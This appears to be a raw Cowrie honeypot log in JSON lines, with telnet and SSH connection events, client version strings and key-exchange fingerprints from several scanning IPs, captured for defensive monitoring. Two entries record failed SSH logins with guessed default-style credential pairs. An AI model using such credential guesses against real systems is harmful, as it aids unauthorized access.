{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59186,"dst_ip":"10.17.0.5","dst_port":23,"session":"32ed57f905d1","protocol":"telnet","message":"New connection: 62.210.97.77:59186 (10.17.0.5:23) [session: 32ed57f905d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:35.087237Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59202,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4398c86130f","protocol":"telnet","message":"New connection: 62.210.97.77:59202 (10.17.0.5:23) [session: e4398c86130f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:37.111465Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33110,"dst_ip":"10.17.0.5","dst_port":23,"session":"435235624f13","protocol":"telnet","message":"New connection: 65.60.27.33:33110 (10.17.0.5:23) [session: 435235624f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:37.939911Z"}
{"eventid":"cowrie.session.closed","duration":39.21368646621704,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:40.034560Z","src_ip":"65.60.27.33","session":"052fdbaae469","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35588,"dst_ip":"10.17.0.5","dst_port":23,"session":"aec016eb36dd","protocol":"telnet","message":"New connection: 38.54.119.93:35588 (10.17.0.5:23) [session: aec016eb36dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:40.271057Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59110,"dst_ip":"10.17.0.5","dst_port":23,"session":"59bd383c2eed","protocol":"telnet","message":"New connection: 62.210.97.77:59110 (10.17.0.5:23) [session: 59bd383c2eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:40.495627Z"}
{"eventid":"cowrie.session.closed","duration":42.94973349571228,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:40.656881Z","src_ip":"165.232.131.181","session":"951ec7d9c515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.62212777137756,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:41.800399Z","src_ip":"62.210.97.77","session":"9bcf1e98da41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38696,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bd9682e693c","protocol":"telnet","message":"New connection: 65.60.27.33:38696 (10.17.0.5:23) [session: 0bd9682e693c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:42.638507Z"}
{"eventid":"cowrie.session.closed","duration":37.55253791809082,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:43.865865Z","src_ip":"62.210.97.77","session":"1b57c563541c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40304,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aef6880b0c0","protocol":"telnet","message":"New connection: 65.60.27.33:40304 (10.17.0.5:23) [session: 8aef6880b0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:44.482529Z"}
{"eventid":"cowrie.session.closed","duration":42.94341230392456,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:45.831342Z","src_ip":"65.60.27.33","session":"8351bc72b662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40658,"dst_ip":"10.17.0.5","dst_port":23,"session":"d64f9e1a3d2a","protocol":"telnet","message":"New connection: 38.54.119.93:40658 (10.17.0.5:23) [session: d64f9e1a3d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:48.647288Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45806,"dst_ip":"10.17.0.5","dst_port":23,"session":"04c8172e8e02","protocol":"telnet","message":"New connection: 65.60.27.33:45806 (10.17.0.5:23) [session: 04c8172e8e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:49.113876Z"}
{"eventid":"cowrie.session.closed","duration":42.28806018829346,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:49.342404Z","src_ip":"65.60.27.33","session":"62de2a0f7960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.193316698074341,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:53.840469Z","src_ip":"38.54.119.93","session":"d64f9e1a3d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48056,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b61cefc0b7","protocol":"telnet","message":"New connection: 65.60.27.33:48056 (10.17.0.5:23) [session: 17b61cefc0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:54.002520Z"}
{"eventid":"cowrie.session.closed","duration":37.13828229904175,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:54.354939Z","src_ip":"62.210.97.77","session":"194c230ea9ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53092,"dst_ip":"10.17.0.5","dst_port":23,"session":"30198372bb78","protocol":"telnet","message":"New connection: 65.60.27.33:53092 (10.17.0.5:23) [session: 30198372bb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:55.291383Z"}
{"eventid":"cowrie.session.closed","duration":6.435145854949951,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:55.548702Z","src_ip":"65.60.27.33","session":"04c8172e8e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.569576025009155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:57.981303Z","src_ip":"62.210.97.77","session":"dc9eabf43d1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50584,"dst_ip":"10.17.0.5","dst_port":23,"session":"d74ed1e2865c","protocol":"telnet","message":"New connection: 62.210.97.77:50584 (10.17.0.5:23) [session: d74ed1e2865c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:58.284960Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57456,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6bf249f83b2","protocol":"telnet","message":"New connection: 65.60.27.33:57456 (10.17.0.5:23) [session: c6bf249f83b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:59.254097Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47788,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b53528ab04e","protocol":"telnet","message":"New connection: 38.54.119.93:47788 (10.17.0.5:23) [session: 1b53528ab04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:59.840411Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36022,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b65c88e3a0b","protocol":"telnet","message":"New connection: 62.210.97.77:36022 (10.17.0.5:23) [session: 3b65c88e3a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:00.363693Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36036,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d502be388a6","protocol":"telnet","message":"New connection: 62.210.97.77:36036 (10.17.0.5:23) [session: 0d502be388a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:00.512851Z"}
{"eventid":"cowrie.session.closed","duration":44.44391131401062,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:01.021956Z","src_ip":"165.232.131.181","session":"9fa8fc51028a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33022,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fa3934136ea","protocol":"telnet","message":"New connection: 65.60.27.33:33022 (10.17.0.5:23) [session: 7fa3934136ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:02.293919Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36050,"dst_ip":"10.17.0.5","dst_port":23,"session":"5be01359a274","protocol":"telnet","message":"New connection: 62.210.97.77:36050 (10.17.0.5:23) [session: 5be01359a274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:02.628649Z"}
{"eventid":"cowrie.session.closed","duration":43.855738162994385,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:02.731071Z","src_ip":"65.60.27.33","session":"f9b59873fd6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51720,"dst_ip":"10.17.0.5","dst_port":23,"session":"d93abd065830","protocol":"telnet","message":"New connection: 165.232.131.181:51720 (10.17.0.5:23) [session: d93abd065830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:03.963478Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36058,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ba51eb10a16","protocol":"telnet","message":"New connection: 62.210.97.77:36058 (10.17.0.5:23) [session: 8ba51eb10a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:04.456360Z"}
{"eventid":"cowrie.session.closed","duration":5.287595987319946,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:05.127888Z","src_ip":"38.54.119.93","session":"1b53528ab04e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55700,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f925948451c","protocol":"telnet","message":"New connection: 38.54.119.93:55700 (10.17.0.5:23) [session: 0f925948451c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:12.026590Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8c7eeb1c29c","protocol":"telnet","message":"New connection: 62.210.97.77:40110 (10.17.0.5:23) [session: b8c7eeb1c29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:12.475807Z"}
{"eventid":"cowrie.session.closed","duration":35.95330095291138,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:13.064660Z","src_ip":"62.210.97.77","session":"e4398c86130f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.7358775138855,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:13.564688Z","src_ip":"65.60.27.33","session":"b27b26184f49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.88608145713806,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:13.825862Z","src_ip":"65.60.27.33","session":"435235624f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40124,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ab6cedacbb","protocol":"telnet","message":"New connection: 62.210.97.77:40124 (10.17.0.5:23) [session: 94ab6cedacbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:13.925027Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47732,"dst_ip":"10.17.0.5","dst_port":23,"session":"73cd34598f80","protocol":"telnet","message":"New connection: 65.60.27.33:47732 (10.17.0.5:23) [session: 73cd34598f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:15.296670Z"}
{"eventid":"cowrie.session.closed","duration":41.837623596191406,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:16.924764Z","src_ip":"62.210.97.77","session":"32ed57f905d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40136,"dst_ip":"10.17.0.5","dst_port":23,"session":"ead2d9a528e9","protocol":"telnet","message":"New connection: 62.210.97.77:40136 (10.17.0.5:23) [session: ead2d9a528e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:18.257847Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44928,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2f5ea4ca61a","protocol":"telnet","message":"New connection: 62.210.97.77:44928 (10.17.0.5:23) [session: a2f5ea4ca61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:19.254928Z"}
{"eventid":"cowrie.session.closed","duration":39.70118546485901,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:20.196684Z","src_ip":"62.210.97.77","session":"59bd383c2eed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.65505123138428,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:20.267381Z","src_ip":"65.60.27.33","session":"ad69e232d6bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55720,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e42d9a40db7","protocol":"telnet","message":"New connection: 65.60.27.33:55720 (10.17.0.5:23) [session: 2e42d9a40db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:23.228524Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44942,"dst_ip":"10.17.0.5","dst_port":23,"session":"494ee437607a","protocol":"telnet","message":"New connection: 62.210.97.77:44942 (10.17.0.5:23) [session: 494ee437607a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:23.545495Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58992,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c06c7d547ae","protocol":"telnet","message":"New connection: 165.232.131.181:58992 (10.17.0.5:23) [session: 5c06c7d547ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:24.539017Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44958,"dst_ip":"10.17.0.5","dst_port":23,"session":"89742398f6c7","protocol":"telnet","message":"New connection: 62.210.97.77:44958 (10.17.0.5:23) [session: 89742398f6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:24.956082Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44974,"dst_ip":"10.17.0.5","dst_port":23,"session":"13b6b810d715","protocol":"telnet","message":"New connection: 62.210.97.77:44974 (10.17.0.5:23) [session: 13b6b810d715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:25.091724Z"}
{"eventid":"cowrie.session.closed","duration":40.70204281806946,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:25.184453Z","src_ip":"65.60.27.33","session":"8aef6880b0c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.81639266014099,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:25.454770Z","src_ip":"65.60.27.33","session":"0bd9682e693c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":32904,"dst_ip":"10.17.0.5","dst_port":23,"session":"4581c2d4650f","protocol":"telnet","message":"New connection: 65.60.27.33:32904 (10.17.0.5:23) [session: 4581c2d4650f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:26.819883Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":40543,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ab2292bc585","protocol":"ssh","message":"New connection: 89.218.69.66:40543 (159.203.135.109:22) [session: 3ab2292bc585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:27.220900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:27.225238Z","src_ip":"89.218.69.66","session":"3ab2292bc585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:27.396622Z","src_ip":"89.218.69.66","session":"3ab2292bc585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysqlbackup","password":"mysqlbackup","message":"login attempt [mysqlbackup/mysqlbackup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:28.115311Z","src_ip":"89.218.69.66","session":"3ab2292bc585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.24249005317688,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:28.513432Z","src_ip":"38.54.119.93","session":"aec016eb36dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:29.291215Z","src_ip":"89.218.69.66","session":"3ab2292bc585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":42236,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb8cea5d6bd7","protocol":"ssh","message":"New connection: 80.94.92.182:42236 (159.203.135.109:22) [session: eb8cea5d6bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:29.312923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:29.410069Z","src_ip":"80.94.92.182","session":"eb8cea5d6bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:29.574643Z","src_ip":"80.94.92.182","session":"eb8cea5d6bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":31914,"dst_ip":"159.203.135.109","dst_port":22,"session":"829f62cacb98","protocol":"ssh","message":"New connection: 94.156.152.18:31914 (159.203.135.109:22) [session: 829f62cacb98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:30.638625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:30.643476Z","src_ip":"94.156.152.18","session":"829f62cacb98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:30.777420Z","src_ip":"94.156.152.18","session":"829f62cacb98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:30.955792Z","src_ip":"80.94.92.182","session":"eb8cea5d6bd7","protocol":"ssh"}
